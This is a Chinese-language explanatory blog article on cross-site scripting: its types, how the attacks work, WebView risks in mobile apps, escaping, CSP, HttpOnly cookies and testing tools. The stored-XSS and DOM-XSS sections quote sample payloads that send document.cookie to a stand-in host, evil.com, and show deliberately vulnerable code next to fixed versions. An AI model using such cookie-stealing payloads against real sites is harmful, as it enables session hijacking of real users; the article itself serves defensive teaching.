XSS — 什么是它,攻击类型和防护方法

作者: IT Sectr 发布日期: 2026-04-06 阅读时间: 9 分钟

XSS(跨站脚本攻击)——一种Web应用程序漏洞类型,攻击者将恶意JavaScript代码注入到向其他用户显示的内容中。根据OWASP Top Ten(2025)的数据,XSS仍然是最常见的漏洞之一,影响了超过60%的Web应用程序。跨站脚本攻击允许窃取会话cookie、将用户重定向到钓鱼网站以及实时修改页面内容。

要点

  • XSS — 将脚本注入页面,在受害者浏览器中以合法网站的名义执行
  • 三种类型 — Stored(持久注入)、Reflected(反射型)和DOM-based(客户端)
  • Stored XSS — 最危险的类型:恶意代码存储在服务器上,每次加载页面时执行
  • Reflected XSS — 脚本通过URL参数传递,在点击特制链接时触发
  • 输出转义 — 主要保护方法:任何来自用户的数据在插入HTML之前都必须进行转义

什么是XSS?

XSS(跨站脚本攻击)——是一种漏洞,允许攻击者将JavaScript代码注入到网页中,然后在受害者浏览器中执行。浏览器从可信网站加载页面,并以与网站合法代码相同的权限执行注入的脚本。这使攻击者能够访问cookie、session storage、页面的DOM树,以及以受害者身份发送请求。当应用程序在没有适当转义或验证的情况下将用户数据插入HTML页面时,就会产生XSS漏洞。

XSS的历史和现状

跨站脚本攻击这一术语首次出现在2000年的Microsoft安全公告中。在过去的25年里,XSS并没有失去其重要性:根据HackerOne(2025)的数据,XSS约占平台上所有已注册漏洞的22%。XSS持续存在的原因是对用户数据所有入口点控制的复杂性。任何输入字段、URL参数、HTTP请求头或文件名都可能成为攻击向量,如果数据未经处理就直接在HTML代码中反射。

XSS造成哪些损害?

XSS攻击可能导致会话cookie窃取,使攻击者无需密码即可登录受害者账户。其他后果包括:重定向到钓鱼网站、替换页面内容、窃取个人数据、安装恶意软件(drive-by download)。2023年,对Salesforce Community Cloud平台的XSS攻击影响了数千家企业客户的数据,表明即使是大型平台也无法免疫于这种漏洞。

XSS攻击类型

XSS分类根据恶意代码的传递方式将攻击分为三种主要类型。每种类型需要不同的保护方法:Stored XSS通过转义数据库输出被阻止,Reflected——通过转义URL参数,DOM-based——通过安全使用DOM-API。理解差异是有效安全策略的基础。

类型脚本存储传递向量检测难度
Stored XSS服务器数据库评论、个人资料、消息中等
Reflected XSSURL参数钓鱼链接、电子邮件
DOM-based XSS客户端JavaScriptURL片段、postMessage非常高

Stored XSS(持久型)

最危险的XSS类型。攻击者将脚本注入到服务器数据库中存储并在每次页面加载时显示的数据中。典型向量——评论字段:攻击者发布带有<script>document.location='https://evil.com/?c='+document.cookie</script>的评论。每个加载带有此评论页面的用户都会将其cookie发送给攻击者。Stored XSS不需要受害者采取任何操作,只需访问页面——这使得它对社交网络、论坛和博客尤其危险。

Reflected XSS(反射型)

恶意脚本在HTTP请求(通常在URL参数中)中传递,并立即由服务器在响应中反射。攻击者创建形如https://example.com/search?q=<script>...</script>的链接,并通过钓鱼、社交网络或电子邮件传播。受害者点击链接后会收到一个页面,其中输入的搜索查询(脚本)未经转义就显示出来。Reflected XSS需要社会工程学——受害者必须点击链接,这降低了风险但并未消除。

DOM-based XSS

与Stored和Reflected不同,DOM-based XSS不需要向服务器发送数据。当客户端JavaScript将来自URL、document.referrerpostMessagelocalStorage的用户数据在没有安全处理的情况下插入DOM时,就会产生漏洞。例如,形如document.getElementById('output').innerHTML = location.hash.substring(1)的代码会执行来自URL片段(#<img onerror='...'>)的任何HTML和脚本。DOM-based XSS最难检测,因为服务器从不接收恶意payload——它完全在客户端处理。

javascript
// DOM-based XSS示例(易受攻击的代码)
// 如果userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — 危险:插入原始HTML
document.write('<div>' + userInput + '</div>');

// 安全替代方案 — 使用textContent
document.getElementById('output').textContent = userInput;

XSS攻击如何工作?

XSS攻击利用了Web的基本特性:浏览器执行从可信域接收的JavaScript。如果攻击者找到将其代码注入服务器HTML响应的方法,浏览器就会以与合法代码相同的权限执行它。攻击经历三个阶段:将恶意代码注入内容、将内容传递到受害者浏览器、以及以访问DOM、cookie和storage的方式执行代码。

注入阶段

攻击者找到入口点——其值被服务器未经转义就包含在HTML响应中的字段、URL参数或标头。典型入口点:搜索字段、评论字段、用户名、头像URL、cookie文件、HTTP标头(User-Agent、Referer)。现代框架(React、Angular、Vue)会自动转义输出,但开发人员可以通过dangerouslySetInnerHTML、bypassSecurityTrustHtml或v-html关闭转义。

传递阶段

对于Reflected XSS,攻击者传播恶意链接。对于Stored XSS,只需在目标网站上发布内容,页面的每位访客都会成为受害者。DOM-based XSS在加载带有特定URL片段的页面时激活。所有三个阶段都可以自动执行:如果在广告横幅(第三方内容)中发现XSS,攻击将影响网站的所有用户,直到横幅被禁用。

javascript
// 搜索中的Reflected XSS示例(易受攻击的后端)
// 服务器不是转义参数q,而是将其插入到HTML中

// Express.js — 易受攻击的处理程序:
app.get('/search', (req, res) => {
    const query = req.query.q; // 用户输入
    res.send(`<h1>Results for: ${query}</h1>`);
});

// 安全版本 — 通过encodeURI或模板引擎转义:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

移动应用中的XSS

移动应用也容易受到XSS攻击,尽管程度低于网站。主要向量是WebView和混合框架(Cordova、Capacitor、带有WebView的React Native)。如果应用程序在WebView中加载Web内容——尤其是用户内容(HTML电子邮件、文章、消息)——XSS漏洞可能导致在应用程序内部执行JavaScript,通过JavaScript桥访问原生功能。

Android WebView中的XSS

Android WebView默认执行JavaScript。如果应用程序通过loadDataWithBaseURL()加载HTML字符串或显示用户内容,XSS攻击可以使攻击者访问JavaScript接口(addJavascriptInterface)。Google已禁止对API < 17使用@JavascriptInterface,但旧应用程序中的遗留代码仍然存在。保护:如果不需要,请在WebView中禁用JavaScript,并使用安全浏览

React Native和Flutter中的XSS

React Native不使用WebView作为UI——组件在原生视图中渲染。然而,在通过react-native-webview或富文本组件显示HTML时,XSS风险会恢复。Flutter使用自己的渲染引擎(Skia),不支持HTML小部件中的JavaScript(flutter_html不执行script标签),但WebView插件(webview_flutter)与原生WebView类似地容易受到攻击。最佳实践——切勿将未经验证的HTML传递给WebView。

  • 禁用JavaScript在WebView中,如果内容不需要交互性
  • 使用CSP标头来限制WebView中的脚本来源
  • 净化HTML在加载到WebView之前:删除script标签和事件处理程序
  • 不要使用addJavascriptInterface在Android上,没有严格检查传入数据
kotlin
// Android中WebView的安全配置
val webView = findViewById<WebView>(R.id.webview)

// 如果不需要交互,禁用JavaScript
webView.settings.javaScriptEnabled = false

// 在加载之前净化HTML
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS预防方法

防止XSS的保护基于三个原则:不相信用户输入、在输出前转义、使用内容安全策略。输出转义(output encoding)——最重要的方法:来自用户的所有数据在插入HTML、JavaScript、CSS或URL之前必须进行转义。现代模板引擎(Twig、Handlebars、JSX、Blade)会自动完成此操作,除非开发人员使用特殊方法关闭转义。

上下文转义

转义取决于数据插入的上下文。在HTML上下文中,<>&、引号被转义。在JavaScript上下文中,反引号、 </script>被转义。在CSS上下文中——控制字符。在URL上下文中——URL编码。上下文错误——例如,将HTML转义的字符串插入onclick属性——不能防止XSS,因为onclickJavaScript上下文中执行,需要不同的转义。

内容安全策略(CSP)

CSP——一种HTTP标头,限制浏览器可以从哪些来源加载脚本、样式和其他资源。严格的CSP(不允许unsafe-inline、不允许unsafe-eval)阻止所有内联脚本的执行,包括XSS向量。根据Google安全博客(2025)的数据,使用CSP的网站阻止了95%的XSS攻击。示例:Content-Security-Policy: default-src 'self'; script-src 'self'禁止所有外部和内联脚本。如果脚本从同一域加载,CSP不能防止Stored XSS,但这需要攻击者付出额外努力。

HttpOnly和Secure cookie

为cookie设置HttpOnly标志可防止通过JavaScript(document.cookie)访问它们,从而阻止通过XSS窃取会话cookie。Secure标志确保cookie仅通过HTTPS传输。HttpOnly + Secure + SameSite=Lax的组合使得通过XSS窃取会话cookie几乎不可能。然而,XSS仍然可以代表用户执行操作(例如发送请求),因此HttpOnly不是万能药,而是综合保护的一部分。

保护方法防止哪些XSS类型有效性
输出转义Stored、Reflected、DOM-based99%
CSP内联XSS、eval-based95%
HttpOnly cookie通过XSS窃取会话100%(不可读)
输入验证Stored、Reflected50%(取决于类型)
TRUSTED TYPESDOM-based(innerHTML)90%

XSS检测工具

定期测试XSS——安全开发CI/CD流程中的必需部分。自动化扫描仪可以发现高达80%的XSS漏洞,其余需要手动渗透测试。最佳方法是结合SAST分析(静态)、DAST扫描(动态)和代码审查,重点关注用户数据的入口点。

  • OWASP ZAP — 免费的DAST扫描仪,自动在Web应用中查找XSS
  • Burp Suite Professional — 高级工具,具有用于XSS的Active Scan和Intruder
  • XSStrike — 专门用于XSS的扫描仪,具有payload生成功能
  • ESLint-plugin-security — 对React/JSX进行静态分析,查找危险模式
  • Google Observatory — 检查CSP标头和与XSS相关的配置

对于移动应用,XSS测试包括WebView分析:检查JavaScript接口、处理URL方案以及将HTML传递到loadDataWithBaseURL。还建议测试混合应用中的postMessage处理,并检查通过JavaScript桥传递了哪些数据。使用带代理(Burp Suite)的模拟器来拦截和修改移动应用程序流量。

常见问题解答

Stored和Reflected XSS有什么区别?

Stored XSS将恶意脚本存储在服务器上(在数据库中),并在每次页面加载时触发。Reflected XSS通过URL参数传递脚本,攻击仅在点击恶意链接时触发。Stored更危险,因为不需要受害者操作——只需打开受感染的页面即可。

HTTPS能防止XSS吗?

不能,HTTPS不能防止XSS。HTTPS加密浏览器和服务器之间的流量,但不影响服务器端的用户输入处理。XSS漏洞存在于应用程序层面,而不是传输层面。HTTPS是强制的最低安全要求,但不是对XSS的保护。

XSS攻击会损坏移动设备本身吗?

在大多数情况下,XSS在浏览器或WebView的沙箱中执行,无法访问文件系统或设备硬件。然而,在启用了JavaScript接口的Android WebView中,XSS脚本可以调用应用程序的原生方法。在iOS WKWebView中,如果配置了相应的桥,也可能通过JavaScriptCore泄露数据。

如何在移动应用中测试XSS?

使用Burp SuiteOWASP ZAP,在移动设备上配置代理。拦截应用程序请求,修改参数并发送XSS payload。检查WebView是否通过loadDataWithBaseURL处理HTML以及是否存在JavaScript桥。对于React Native,单独测试WebView组件。

简单来说,什么是DOM-based XSS?

DOM-based XSS——是一种攻击,其中页面上的JavaScript自己从URL或其他来源获取数据,并在未经检查的情况下将其插入HTML。服务器不参与——恶意代码完全在浏览器中处理。典型示例:网站从location.hash获取文本并通过innerHTML插入,从而允许执行任何HTML代码。

总结

  • XSS — 跨站脚本攻击,允许在网页中注入JavaScript代码以攻击受害者浏览器
  • 三种类型 — Stored(持久型,在数据库中)、Reflected(反射型,通过URL)、DOM-based(在客户端,通过DOM-API)
  • Stored XSS — 最危险:不需要受害者操作,在加载受感染页面时触发
  • 输出转义 — 主要保护方法:在插入HTML、JS、CSS、URL之前进行上下文转义
  • CSP标头通过禁止内联脚本和外部来源阻止95%的XSS攻击
  • HttpOnly和Secure — cookie标志,防止通过document.cookie窃取会话
  • 定期测试 — OWASP ZAP、Burp Suite和代码审查在CI/CD流程中是必需的

我们将开发一款交钥匙移动应用程序

IT Sectr自2017年以来为初创企业和企业打造iOS和Android应用程序。我们将为您提供咨询并提出最佳解决方案。

讨论项目

另请阅读